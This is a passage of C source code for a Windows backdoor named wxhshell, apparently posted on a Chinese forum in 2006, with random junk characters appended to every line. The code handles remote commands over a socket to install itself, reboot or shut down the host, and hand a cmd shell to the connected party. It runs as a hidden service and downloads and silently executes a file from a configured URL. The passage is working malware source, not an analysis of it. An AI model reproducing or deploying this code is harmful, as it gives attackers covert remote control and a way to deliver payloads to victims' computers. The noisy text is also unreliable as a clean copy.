  } ?yNg5z  
  else { $C.;GUEQ  
6R=dg2tKT  
    switch(cmd[0]) { 'h*^;3@*  
  8n'"RaLQ8  
  // 帮助 d&G#3}kOb%  
  case '?': { t^')ST  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Nk{AiiN  
    break; 5&Vp(A[m[  
  } \+3P<?hD#  
  // 安装 =k0qj_  
  case 'i': { 'n$TJp|s  
    if(Install()) QA"mWw-Ds  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); azKiXr#_(  
    else j-}WA"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 77?D ~N[  
    break; 7#pu(:T$  
    } e6y,)W"WW2  
  // 卸载 &:@)ro CR  
  case 'r': { |G(9mnZ1  
    if(Uninstall()) ba`V`0p-(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rdBF+YN9/?  
    else h8zl\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [$iKx6\  
    break; "tX=^4   
    } BXj]]S2  
  // 显示 wxhshell 所在路径 {37v.4d;  
  case 'p': { ~k[mowz0  
    char svExeFile[MAX_PATH]; 40i]I@:JK  
    strcpy(svExeFile,"\n\r"); D *Hy 2eZ.  
      strcat(svExeFile,ExeFile); xhTiOt6l  
        send(wsh,svExeFile,strlen(svExeFile),0); > 3SZD  
    break; <n|ayxA)  
    } ==XO:P  
  // 重启 hT DFIYV  
  case 'b': { fBw"<J{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $kD ;*v=  
    if(Boot(REBOOT)) ?ypX``3#s7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 93]67PL#+  
    else { ]hHL[hoFC  
    closesocket(wsh); 9esMr0*=  
    ExitThread(0); W! =X _  
    } xZc].l6  
    break; X8uAwHa6F  
    } y(92Th$  
  // 关机 81jVjf?`  
  case 'd': { .KeZZLH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i"Z  
    if(Boot(SHUTDOWN)) x(r~<a[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ng 3r`S"_<  
    else { zu52]$Vj  
    closesocket(wsh); H5J1j*P<d  
    ExitThread(0); YQ _]Jv k  
    } -+)06BqF}  
    break;  |Ym3.hz  
    } umJ!j&(  
  // 获取shell 41oXOB  
  case 's': { Op>l~{{{  
    CmdShell(wsh); +>*! 3x+sE  
    closesocket(wsh); J&w'0  
    ExitThread(0); 1Vi3/JM @  
    break; D\CjR6DE  
  } u+_6V  
  // 退出 6aq=h`Y  
  case 'x': { [,?5}'we  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XtP5IN\S  
    CloseIt(wsh); 8nKb mjM  
    break; d:&=|kKw  
    } cy{ ado2  
  // 离开 QRFBMq}'  
  case 'q': { .d?2Kc)SV\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @en*JxIM  
    closesocket(wsh); !QXPn}q^0  
    WSACleanup(); {I^@BW-  
    exit(1); 2M$^|j:[  
    break; s+ a} _a:  
        } 8{)j"rghah  
  } ?j^:jV  
  } [==x4N b  
K?$|Y-_D^M  
  // 提示信息 j.O+e|kxU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0E^6"nt7N  
} chs] ,7R  
  } QTLGM-Z  
ww#]i&6  
  return; H$4 4,8,m  
} "xxt_  
S|pf.l  
// shell模块句柄 C(!A% >  
int CmdShell(SOCKET sock) ~M Mv+d88  
{ AR?1_]"=  
STARTUPINFO si; L<H zPg  
ZeroMemory(&si,sizeof(si)); LAjreC<W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RIV + _}R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n5s2\(  
PROCESS_INFORMATION ProcessInfo; 6*r#m%|   
char cmdline[]="cmd"; Zog&:]P'F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fMl uVND  
  return 0; 'J1!P:tJ  
} )1iqM]~;B  
rjWn>M  
// 自身启动模式 dh0nB  
int StartFromService(void) ,C;%AS/  
{ W<tw],M-#  
typedef struct ;w(tXcXZ  
{ DU|>zO%  
  DWORD ExitStatus; AU3>v  
  DWORD PebBaseAddress; , aJC7'(  
  DWORD AffinityMask; 9kby-A4  
  DWORD BasePriority; {\p&?  
  ULONG UniqueProcessId; ;&OVV+y  
  ULONG InheritedFromUniqueProcessId; ttfCiP$  
}   PROCESS_BASIC_INFORMATION; Pk/3oF  
]}z"H@k  
PROCNTQSIP NtQueryInformationProcess; ,9YgznQ  
~pWV[oUD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :N#8|;J1Fl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ["N_t:9I  
kR/Etm5_  
  HANDLE             hProcess; 3;Y 9<  
  PROCESS_BASIC_INFORMATION pbi; @|6#]&v`  
$az9Fmta  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +"GBuNh  
  if(NULL == hInst ) return 0; bx._,G  
'4e, e|r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Boj#r ,x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >hv8zHOO:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?)V|L~/  
M'5PPBSR  
  if (!NtQueryInformationProcess) return 0; 6.6;oa4j  
E x )fXQ+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WWgJ !Uz  
  if(!hProcess) return 0; %*a%F~Ss  
mV++7DY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ##5e:<c&[  
moCr4*jDX,  
  CloseHandle(hProcess); 5a%i%+;N  
d A>6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2ut)m\)/)  
if(hProcess==NULL) return 0; r<OqI*7  
p>h}k_s  
HMODULE hMod; #&,~5  
char procName[255]; ]=G  dAW  
unsigned long cbNeeded; Oh; V%G  
(q}{;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3DOc,}nI~@  
PM^Xh*~  
  CloseHandle(hProcess); PX >>h}%  
@pN6uDD}R  
if(strstr(procName,"services")) return 1; // 以服务启动 KMP[Ledr  
auHP^O> 4L  
  return 0; // 注册表启动 9S/X,|i  
} iLk"lcX  
Vo(>K34  
// 主模块 &UIS17cT  
int StartWxhshell(LPSTR lpCmdLine) xp%LXx j  
{ |\T!,~  
  SOCKET wsl; }WnoI2  
BOOL val=TRUE; <(_${zR  
  int port=0; I<!,_$:  
  struct sockaddr_in door; HY,VJxR[  
?P"j5  
  if(wscfg.ws_autoins) Install(); qF4=MQm\aE  
4\y>pXML-U  
port=atoi(lpCmdLine); tUhr gc  
b5?k)s2  
if(port<=0) port=wscfg.ws_port; 5!qLJmd=  
CO{AC~  
  WSADATA data; V`xE&BI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O#`y;%  
7'RU\0QG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \:>eZl?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q],/%W  
  door.sin_family = AF_INET; 4 IXa[xAm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <5npVm  
  door.sin_port = htons(port); ZG)6{WS  
`! _mIh}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vg\fBHzn  
closesocket(wsl); VL2ACv(  
return 1; 5Eu`1f?  
} #R# |hw  
9iN}v   
  if(listen(wsl,2) == INVALID_SOCKET) { 2o1 RJk9  
closesocket(wsl); YLid2aF  
return 1; 4_w{~  
} |V mQ  
  Wxhshell(wsl);  G`NGt_C  
  WSACleanup(); 79}Qj7  
.`+N+B(4  
return 0; {oRR]>  
Gt;U9k|i  
} Kbcr-89Gv~  
p"Q V| `  
// 以NT服务方式启动 XT\Q"=FD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M][Zu[\*  
{ Z'_EX7r  
DWORD   status = 0; A#CGD0T  
  DWORD   specificError = 0xfffffff; 0ae}!LO  
:+UahwiRD"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &I?d(Z=:\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'Ug-64f>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y5N,~@$r  
  serviceStatus.dwWin32ExitCode     = 0; hA387?  
  serviceStatus.dwServiceSpecificExitCode = 0; nj7\vIR7  
  serviceStatus.dwCheckPoint       = 0; q[TW  
  serviceStatus.dwWaitHint       = 0; WxS$yUu  
N>',[4pJ|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  6adXE  
  if (hServiceStatusHandle==0) return; rM)-$dZ  
2IFEl-IB[  
status = GetLastError(); =R0#WMf$@  
  if (status!=NO_ERROR) B/b S:  
{ z+X DN:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~jM!8]=  
    serviceStatus.dwCheckPoint       = 0; R% )7z)~  
    serviceStatus.dwWaitHint       = 0; d1n*wVl  
    serviceStatus.dwWin32ExitCode     = status; <amdPo+2D  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~k/GmH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8% `Jf`  
    return; 3<ry/{#%  
  } w[s}#Q  
+{@hD+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7A4_b8  
  serviceStatus.dwCheckPoint       = 0; K5:>  
  serviceStatus.dwWaitHint       = 0; .u&GbM%Ga  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W3Dtt-)E  
} DeGcS1_?  
hV[=  
// 处理NT服务事件,比如:启动、停止 _sC kBDl-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "oo j;  
{ 5)<}a&;{  
switch(fdwControl) {%XDr,myd  
{ Z)RV6@(  
case SERVICE_CONTROL_STOP: Ib0@,yS[  
  serviceStatus.dwWin32ExitCode = 0; c~{)vL0K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 992cy2,Fb  
  serviceStatus.dwCheckPoint   = 0; WcKL=Z?(  
  serviceStatus.dwWaitHint     = 0; ys Td'J  
  { VTwJtWnq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "D.`:9sk0  
  } rT28q .  
  return; +<\.z*  
case SERVICE_CONTROL_PAUSE: W,p?}KiO T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VVm8bl.q  
  break; pXq5|,aC  
case SERVICE_CONTROL_CONTINUE: ,|Lf6k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7Un5Y[FZo  
  break; _J -3{a  
case SERVICE_CONTROL_INTERROGATE: `T~~yM)q  
  break; rd!4u14  
}; g;t>jgX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2j*o[kAE  
} !; COFR  
z.]  
// 标准应用程序主函数 V] 0~BV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2^T`> ?{X  
{ \EOPlyf8x  
`=VN\W^&  
// 获取操作系统版本 WR@TH bU  
OsIsNt=GetOsVer(); DW.vu%j^[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :igURr  
V j"B/@  
  // 从命令行安装 j SXVLyz  
  if(strpbrk(lpCmdLine,"iI")) Install(); y%=t((.Z  
B kWoK/f4  
  // 下载执行文件 >r~!'Pd!  
if(wscfg.ws_downexe) { ~x 0x.-^A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z 2Rg`1B  
  WinExec(wscfg.ws_filenam,SW_HIDE); c&n.JV   
} 8^ezqd`  
>{huaN B  
if(!OsIsNt) { Qg' {RAV8  
// 如果时win9x,隐藏进程并且设置为注册表启动 IW-lC{hK  
HideProc(); + 4*jO5EZ  
StartWxhshell(lpCmdLine); y:+4-1  
} y?*4SLy  
else BA t0YE`-,  
  if(StartFromService()) %`1 p8>n  
  // 以服务方式启动 *aT\V64  
  StartServiceCtrlDispatcher(DispatchTable); 7"0l>0 \  
else {e'V^l.v  
  // 普通方式启动 380M &Guh  
  StartWxhshell(lpCmdLine); T0=%RID%=  
c1L0#L/F6"  
return 0; POtwT">z  
}
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只看该作者 1 发表于: 2006-10-10
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